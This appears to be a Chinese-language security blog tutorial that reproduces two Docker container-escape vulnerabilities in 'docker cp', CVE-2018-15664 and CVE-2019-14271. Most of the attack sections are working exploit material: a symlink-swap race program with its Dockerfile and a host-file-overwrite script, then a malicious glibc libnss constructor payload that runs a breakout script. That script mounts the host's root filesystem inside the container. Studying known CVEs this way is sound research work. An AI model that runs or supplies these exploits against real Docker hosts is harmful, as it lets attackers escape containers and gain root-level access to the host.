1 针对容器开发测试过程中的攻击案例
1.1 背景
docker cp 命令
docker cp 命令用于在 Docker 创建的容器中与宿主机文件系统之间进行文件或目录复制。
符号链接
符号链接 - 软连接。类似于 windows 上的快捷方式 在 linux 中创建符号链接:
ln -s target_path link_path
1.2 CVE-2018-15664 - 符号链接替换漏洞
影响版本:Docker 在 17.06.0-ce~17.12.1-ce:rc2
, 18.01.0-ce~18.06.1-ce:rc2
版本范围内受该漏洞影响
1.2.1 原理
漏洞 poc 参考作者 Aleksa Sarai 公布的 poc 文件: https://seclists.org/oss-sec/2019/q2/131
CVE-2018-15664 实际上是一个 TOCTOU
(time-of-check to time-of-use) 的问题。当用户执行 docker cp
命令后,Docker 守护进程接收到请求,会对用户给出的复制路径进行检查。如果路径中有容器内部的符号链接,则现在容器内部将其解析成对应的路径字符串,留待后用。
如果在 Docker 守护进程检查复制路径时,攻击者在这里先放置一个非符号链接的的常规文件或目录,检查结束后,攻击者在 Docker 守护进程使用路径前将其替换为一个符号链接,那么这个符号链接就会被打开时在宿主机上解析,从而导致目录穿越。
1.2.2 漏洞复现
利用 metarget 快速搭建 CVE-2018-15664 环境:
./metarget cnv install cve-2018-15664
下载并解压 PoC
其中, build 目录包含了用来编译 EXP 的 Dockerfile 和漏洞利用源代码 symlink_swap.c
注意 构建镜像时,在容器内安装 gcc 时报错,可以先在宿主机将 symlink_swap 编译好,再 COPY 到容器中。
修改后的 Dockerfile:
# Build the binary.
FROM opensuse/tumbleweed
# RUN zypper in -y gcc glibc-devel-static
RUN mkdir /builddir
COPY symlink_swap.c /builddir/symlink_swap.c
# RUN gcc -Wall -Werror -static -lpthread -o /builddir/symlink_swap /builddir/symlink_swap.c
COPY symlink_swap /builddir/symlink_swap
# Set up our malicious rootfs.
FROM opensuse/tumbleweed
ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
ARG SYMSWAP_PATH=/totally_safe_path
RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"
COPY --from=0 /builddir/symlink_swap /symlink_swap
ENTRYPOINT ["/symlink_swap"]
Dockerfile 的主要内容是构建漏洞利用程序,并将其放在容器的根目录下,并在根目录下创建一个 w00t_w00t_im_a_flag
文件,内容为: FAILED -- INSIDE CONTAINER PATH
。容器启动后执行的程序( Entrypoint
) 即为:symlink_swap。
Symlink_swap.c 内容:
/*
* Now create a symlink to "/" (which will resolve to the host's root if we
* win the race) and a dummy directory at stash_path for us to swap with.
* We use a directory to remove the possibility of ENOTDIR which reduces
* the chance of us winning.
*/
if (symlink("/", symlink_path) < 0)
bail("create symlink_path");
if (mkdir(stash_path, 0755) < 0)
bail("mkdir stash_path");
/* Now we do a RENAME_EXCHANGE forever. */
for (;;) {
int err = rrenameat2(AT_FDCWD, symlink_path,
AT_FDCWD, stash_path, RENAME_EXCHANGE);
if (err < 0)
perror("symlink_swap: rename exchange failed");
}
return 0;
}
在容器内创建指向根目录的符号链接,并不断地交换符号链接(由命令行参数传入,如「totaly_safe_path」) 与一个正常的目录(如:「totaly_safe_path-stashed」) 的名字。
run_read.sh : 实现读取宿主机文件内容的 shell 脚本
run_write.sh : 实现在宿主机写文件的 shell 脚本
以 run_write.sh
为例:
SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
# Create our flag.
echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 0444 "$SYMSWAP_TARGET"
# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")
echo "SUCCESS -- HOST FILE CHANGED" | tee localpath
# Now continually try to copy the files.
while true
do
docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
done
run_write.sh 启动后恶意容器运行,然后不断执行 docker cp 命令
1.3 CVE-2019-14271
影响 Docker 19.03.x before 19.03.1
1.3.1 原理
docker cp 命令依赖的 docker-tar 组件会加载容器内部的 nsswitch 动态链接库,攻击者可以通过劫持容器内部的 nsswitch 来实现代码的注入,获得宿主机上的 root 权限的代码执行能力。
用户在执行 docker cp 后,Docker 守护进程启动 docker-tar
进程来完成复制。以「从容器内文件复制到宿主机为例」,它会切换进程的根目录(执行 chroot) 到容器根目录,将需要复制的文件打包,然后传递给 Docker 守护进程,Docker 守护进程负责将内容解析到用户指定的宿主机目标路径。
chroot 的操作主要是为了避免符号链接导致的路径穿越问题,但存在漏洞版本的 docker-tar
会加载必要的动态链接库,主要以 libness_
开头的 nsswitch 动态链接库。chroot 切换根目录后, docker-tar
将加载容器内部的动态链接库。
漏洞利用过程如下:
- 找出
docker-tar
具体会加载哪些容器内的动态链接库。 - 下载对应的动态链接库源码,增加
__attribute__
属性的函数run_at_link
(该函数在动态链接库被加载时首先执行) - 等待 docker cp 触发漏洞
1.3.2 漏洞复现
1.3.2.1 确定目标
确定 docker cp 执行中用到哪些容器内的动态链接库。
在存在漏洞的 Docker 环境中,创建容器:
docker run -itd --name=test ubuntu
寻找容器在宿主机上的绝对路径:
docker exec -it test cat /proc/mounts | grep docker
返回结果包含:
workdir=/var/lib/docker/overlay2/42549fa40947a72bc4f3ae8b8676297d774d4fe2f8afb7122717548b06861d85/work
容器在宿主机上的绝对路径即为: /var/lib/docker/overlay2/42549fa40947a72bc4f3ae8b8676297d774d4fe2f8afb7122717548b06861d85/merged
安装监控文件:
apt install inotify-tools
监控文件夹:
inotifywait -mr /var/lib/docker/overlay2/42549fa40947a72bc4f3ae8b8676297d774d4fe2f8afb7122717548b06861d85/merged/lib
执行 docker cp
docker cp test:/etc/passwd ./
可以看到加载了 libnss_files-2.31.so
1.3.2.2 构建动态链接库
libnss_*.so
均在 Glibc 中,首先下载 Glibc 库到本地。
首先要注释掉 gccwarn-c = -Wstrict-prototypes -Wold-style-definition
,避免加入 payload 后编译失败。
在 ./nss/nss_files
目录下任意源码文件中添加 payload。以 files-service.c
为例。
// content should be added into nss/nss_files/files-service.c
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
# 容器内部原始 libnss_files.so.2 文件备份位置
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
# 恶意 libnss_files.so.2 文件位置
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void) {
char * argv_break[2];
// 判断是否容器外是高权限执行,即 docker-tar
if (!is_priviliged())
return;
// 攻击执行一次即可,用原始的替换备份的库文件
// 避免后续对环境产生影响
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
// 以 docker-tar 运行 /breakout 恶意脚本
if (!fork()) {
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged() {
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL) {
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
编译:
# 目录结构:
- gnu
- glibc-2.27
- glibc-build
# 安装 bison
apt install bison
# 新建 glibc-build 目录
mkdir glibc-build
# 要到上级目录进行 config,不然会报错
./glibc-2.27/glibc-build/configure --prefix=/usr/
# 编译
~/glibc-2.27/glibc-build make
1.3.2.3 逃逸
breakout 文件:
将 procfs 伪文件系统挂载到容器内,将 PID 为 1 的根目录 /proc/1/root 绑定挂载到容器内部即可。
#!/bin/bash
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
首先创建 victim 容器:
docker run -itd --name=victim ubuntu
将 breakout 脚本放到 victim 容器根目录。
docker cp ./breakout victim:/breakout
进入容器,再将 /lib/x86_64-linux-gnu
下的 libnss_files.so.2
符号链接指向库文件移动到容器根目录下并重命名为 original_libnss_files.so.2
,可以使用以下命令查看:
readlink /lib/x86_64-linux-gnu/libnss_files.so.2
mv /lib/x86_64-linux-gnu/libnss_files.so.2 /original_libnss_files.so.2
最后将构建好的恶意 libnss_files.so
重命名为 libnss_files.so.2
,放到容器内 /lib/x86_64-linux-gnu
下。
模拟用户执行 docker cp 操作:
docker cp victim:/etc/passwd ./
执行后,漏洞被触发,容器内部已经能看到挂载的 /host_fs
,其中的 /etc/hostname
显示的即为宿主机的 hostname
。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论